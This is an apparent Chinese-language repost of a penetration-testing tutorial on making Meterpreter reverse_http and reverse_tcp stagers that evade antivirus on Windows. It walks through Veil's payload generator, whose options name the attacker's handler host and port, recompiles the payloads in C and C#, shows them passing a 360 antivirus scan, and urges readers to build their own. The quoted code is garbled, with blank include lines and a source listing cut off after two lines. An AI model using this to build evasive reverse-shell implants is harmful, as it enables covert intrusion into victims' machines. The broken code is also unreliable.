转载

手工打造Windows下编译的免杀Payload

Veil对Payload的免杀已经做的很好了,最新的Veil有39个可用的Payload。但是有时候需要使用Windows来完成所有的渗透测试工 作,Linux和Windows切换来切换去很不方便、让我的渣本安装个虚拟机更是浪费资源。因此,在Windows下生成免杀Payload已成为当务 之急。

一开始我选择了在Kali下使用Veil生成Python版的Payload然后再到windows下使用Py2exe或是pyinstaller来编译打包生成可执行文件。但是这种方法让我感到无比蛋疼……

第一 :Py2exe不支持64位的python(我的系统中已经安装了python 2.7 X64以及各种python的开发工具,卸载了再安装、配置是一件令人头痛的事);

第二 :pyinstaller虽然支持使用64位的python打包,但是打包出来的程序也是64位的(这让32位的系统情何以堪); 第三 :编译打包后的Payload奇大无比(大约3-7MB)

手工打造Windows下编译的免杀Payload

打包时可以选择生成一个文件(所有运行所须的库及dll都打包到exe中),也可以选择生成多个文件(Payload和所需的库分开。Payload大约1M多,剩下的十几个文件又让人感到头痛,难道让我一个一个上传不成)。最后虽然用这种方法获得了免杀的Payload,但是还是不得不放弃这种方法。

手工打造Windows下编译的免杀Payload

既然无捷径可走了,那还是静下心来去翻一翻Veil吧。下载Veil,在Veil根目录下的/modules/payloads文件件中看到了生成各种免杀Payload的.py文件。共7类:

Default

auxiliary c cs native powershell python ruby

先从比较熟悉的“c”看起吧,在/modules/payloads/c/meterpreter/下有4个用来生成c代码的py文件。

Default

rev_http.py rev_http_service.py rev_tcp.py rev_tcp_service.py

打开rev_http.py查看:

Default

""" Obfuscated, pure C windows/meterpreter/reverse_http. Implements various randomized string processing functions in an attempt to obfuscate the call tree. Also compatible with Cobalt-Strike's Beacon. Original reverse_tcp inspiration from https://github.com/rsmudge/metasploit-loader Module built by @harmj0y """ import random from modules.common import helpers class Payload:  def __init__(self):   # required options   self.shortname = "meter_rev_http"   self.description = "pure windows/meterpreter/reverse_http stager, no shellcode"   self.language = "c"   self.extension = "c"   self.rating = "Excellent"   # optional   # options we require user ineraction for- format is {Option : [Value, Description]]}   self.required_options = {"LHOST" : ["", "IP of the metasploit handler"],         "LPORT" : ["8080", "Port of the metasploit handler"],         "compile_to_exe" : ["Y", "Compile to an executable"]}  def generate(self):   sumvalue_name = helpers.randomString()   checksum_name = helpers.randomString()   winsock_init_name = helpers.randomString()   punt_name = helpers.randomString()   wsconnect_name = helpers.randomString()   # the real includes needed   includes = [ "#include             " , "#include                 ", "#include                     ", "#include                      ", "#include                                            

可以看到generate()最终返回了混淆后的c代码,在生成的过程中LHOST和LPORT(默认8080)由用户定义(上面代码加粗的部分)。

c代码中几乎所有的变量都使用helpers.randomString()来随机生成,代码中的整型数字则使helpers.obfuscateNum()来进行混淆(例如:5会写成2*2+1或是5*1+0)。

通过还原变量名称、整理代码,最终我得到了c_rev_http的源码。

手工打造Windows下编译的免杀Payload

整理后:

Default

#define _WIN32_WINNT 0x0500 #include              #include                    

因上面的代码是使用GNU/GCC来编译的,所以在windows下直接使用vc6编译会报一大堆错误。没办法,拿起大学时代那本《C语言程序设计与应用教程》回顾了半天,修改代码,最终通过编译。

手工打造Windows下编译的免杀Payload

编译后体积185kb(可加壳缩小体积),虽然比metasploit生成的要大,但已经满足要求。

使用同样的方法,依次还原了c_rev_http_service、c_rev_tcp、c_rev_tcp_service、cs_rev_http、cs_rev_https、cs_rev_tcp的源码(powershell和ruby的还没有看)。

编译生成对应的payload比较一下体积并测试免杀和连接效果:

体积对比:

手工打造Windows下编译的免杀Payload

可见C#代码编译后的Payload更小,竟然只有5kb…… cs_rev_tcp使用了三个不同版本的.NET csc编译。

免杀效果:(360安全卫士最新木马库查杀)

手工打造Windows下编译的免杀Payload

手工打造Windows下编译的免杀Payload

连接测试:

c_rev_tcp

手工打造Windows下编译的免杀Payload

c_rev_http

手工打造Windows下编译的免杀Payload

cs_rev_tcp

手工打造Windows下编译的免杀Payload

cs_rev_http

手工打造Windows下编译的免杀Payload

cs_rev_https

手工打造Windows下编译的免杀Payload

想在windows上获得msf免杀payload的同学赶快行动起来吧!

[via@ wooyun zone ]

正文到此结束
Loading...